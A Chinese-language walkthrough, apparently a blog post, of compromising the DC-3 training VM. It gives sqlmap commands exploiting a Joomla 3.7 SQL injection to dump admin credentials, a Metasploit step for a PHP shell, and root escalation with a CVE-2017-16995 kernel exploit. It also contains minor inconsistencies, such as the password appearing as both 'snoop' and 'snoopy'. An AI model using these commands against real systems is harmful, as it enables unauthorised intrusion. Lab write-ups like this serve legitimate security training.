一、DC3靶场环境分析
只开启了80端口www服务,3306端口仅能本机访问。

nmap探测,发现只有80端口。

二、信息收集
访问目标网站,提示我们只有1个flag,一个入口,并且没有如何线索,只有拿下root权限,才能获得。

对于网站我们通常扫描一下目录和文件:

其中/administrator是管理员的登录界面,并且更具readme.txt内容,了解它是一个joomla3.7的cms系统。
同时也要注意扫描到的/templates目录,后续可以采取上传文件或者新建文件时候,需要知道网站目录,而此时这个结果给了我们提示。


这样,我们自然想到两种方式进行下一步工作:
- 爆破口令。这种方式我试过,但是用bp爆破时候发现,这个网站有token防护,还需要破解token机制,就此放弃。
- 网站漏洞。
三、漏洞通关
在kali中搜索searchsploit joomla 3.7,发现弹药库里第1条和第二条,都是针对joomla 3.7的sql注入,其中44227.php,放在自建的网站下,输入目标网站,会自动获取管理员用户名和密码,但是由于某个请求不可达,显示不出来,在我这不可用,只能选择第二种手动注入方式。

我们也可以直接在msf中搜索,选择use 0,测试发现,获取会话session的前提是管理员已经登录了。

因此对我来说,还是要通过sql注入来获取用户名和密码,获取后登录网站,通过文件上传或者msf攻击模块获取php的shell。

(1)sql注入
根据文档提示,这个界面存在sql注入的问题。

使用sqlmal工具开始爆库:
获取数据库名称
sqlmap -u "http://192.168.136.186/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs -p list[fullordering]

数据库为joomladb,继续获取表名

sqlmap -u "http://192.168.136.186/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D "joomladb" --tables -p list[fullordering] --batch
发现又#_users表,继续爆列名
sqlmap -u "http://192.168.136.186/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D "joomladb" -T "#__users" --columns -p list[fullordering]

继续爆破username和password字段,并用john破解密码为snoop

(2)msf获取shell
使用admin/snoopy在/adminitrator界面登录后,用msf的exploit模块,设置好地址,直接run,得到shell。

(3)上传pesss脚本搜集信息
上传信息收集脚本到tmp目录

我们也可以直接用命令搜集基本信息

使用脚本一键检测,发现了系统版本有漏洞(标红),

告诉我们漏洞情况,后面用到的是CVE-2017-16995和CVE-2016-5195
在searchsploit中搜索,发现可以利用的弹药库是CVE-2017-16995,也就是39772.txt。dirtycow 2我尝试过,但是没有成功,反而把靶机搞崩了,相比而言CVE-2017-16995就温和很多。

(4)CVE-2017-16995
查看文档说明39772.txt

在目标主机下载并且解压

安装txt说明运行./compile.sh ./doubleput.c

获取flag,flag在/root目录下。
四、溯源情况
用脚本溯源分析,查看异常情况。
(一)进程情况


(二)计划任务
root用户,每分钟执行一次恶意脚本。
www-data用户
(三)用户界面
用户界面报了大量寄存器问题

9650

被折叠的 条评论
为什么被折叠?



